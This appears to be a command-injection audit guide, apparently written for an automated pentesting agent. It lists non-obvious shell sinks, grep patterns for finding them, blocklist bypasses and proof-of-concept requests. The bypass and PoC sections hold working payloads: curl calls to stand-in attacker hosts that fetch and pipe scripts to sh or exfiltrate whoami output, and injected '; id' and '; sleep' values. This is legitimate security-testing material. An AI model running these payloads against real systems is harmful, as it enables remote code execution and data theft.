Command Injection

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

• Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
• Docker-compose / k8s manifests where command: is built from user input
• PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
• ImageMagick — convert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
• ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
• Git clone with user-supplied URL (remote helper injection)
• SSH/Rsync wrappers building ssh user@host "cmd" from templates
• ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

4. Bypasses

Even when developers "sanitize" via blocklists:

• Argument injection (the -oProxyCommand trick) — passing -oProxyCommand=curl $(whoami).attacker.com to ssh-based sinks
• Space replacement — ${IFS}, {ls,-la} (brace expansion)
• Backtick/dollar-paren — $(id), `id`
• Command substitution in filename — $(curl evil.com/x.sh | sh).jpg
• Unicode normalisation — ＂ (fullwidth) vs " bypass
• Encoded newline — %0A turns single-command into multi-command
• TarSlip — tar xzf user.tgz with --checkpoint-action=exec=...
• Git — git clone 'ssh://ext::sh -c whoami # foo'

5. PoC ideas

# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"

# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"

# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"

6. validate_finding contract

• success_patterns: uid=\d+, root, attacker OOB callback hit, total 0
• negative_command: same URL, filename set to report.pdf
• negative_patterns: 200, accepted

7. Default CVSS

8. Chain promotion

Command injection rarely needs chaining — it's the final hop of most chains. Instead, use it to promote earlier nodes: add enables edges from SSRF / file upload / path traversal vulns that deliver the initial payload.